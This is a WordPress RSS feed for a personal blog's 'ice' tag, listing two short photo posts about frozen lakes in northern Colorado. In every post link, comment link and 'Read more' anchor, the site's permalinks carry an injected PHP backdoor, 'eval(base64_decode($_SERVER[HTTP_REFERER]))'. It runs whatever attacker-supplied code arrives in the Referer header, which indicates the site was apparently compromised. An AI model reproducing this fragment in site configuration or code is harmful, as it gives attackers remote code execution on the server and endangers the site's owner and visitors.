<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Not That You Asked &#187; ice</title>
	<atom:link href="http://www.notthatyouasked.org/tag/ice/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.notthatyouasked.org</link>
	<description>Stuff you just didn&#039;t ask about...</description>
	<lastBuildDate>Sat, 24 Apr 2010 21:17:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.2</generator>
		<item>
		<title>Blue Bubbles</title>
		<link>http://www.notthatyouasked.org/2009/02/12/blue-bubbles/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.notthatyouasked.org/2009/02/12/blue-bubbles/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 12 Feb 2009 12:20:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[ice]]></category>
		<category><![CDATA[photo]]></category>
		<category><![CDATA[red feather]]></category>

		<guid isPermaLink="false">http://www.notthatyouasked.org/?p=367</guid>
		<description><![CDATA[After posting Blue Fracture I kept thinking I should amp up the blues for fun. So, I intensified the blue in these three ice photos using the basic tools in Google Picasa. If anyone has any other ideas on how &#8230;<p class="read-more"><a href="http://www.notthatyouasked.org/2009/02/12/blue-bubbles/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/">Read more &#187;</a></p>]]></description>
		<wfw:commentRss>http://www.notthatyouasked.org/2009/02/12/blue-bubbles/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blue Fracture</title>
		<link>http://www.notthatyouasked.org/2009/01/23/blue-fracture/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.notthatyouasked.org/2009/01/23/blue-fracture/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 15:54:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Photos]]></category>
		<category><![CDATA[Recreation]]></category>
		<category><![CDATA[ice]]></category>
		<category><![CDATA[photo]]></category>
		<category><![CDATA[red feather]]></category>

		<guid isPermaLink="false">http://www.notthatyouasked.org/?p=294</guid>
		<description><![CDATA[P1176543 Originally uploaded by gcrgcr Took this shot last weekend up at Red Feather Lakes in Northern Colorado. Lake Hiawatha was fairly well frozen over. You can see the camera settings I used. I tried color correction but I like &#8230;<p class="read-more"><a href="http://www.notthatyouasked.org/2009/01/23/blue-fracture/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/">Read more &#187;</a></p>]]></description>
		<wfw:commentRss>http://www.notthatyouasked.org/2009/01/23/blue-fracture/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

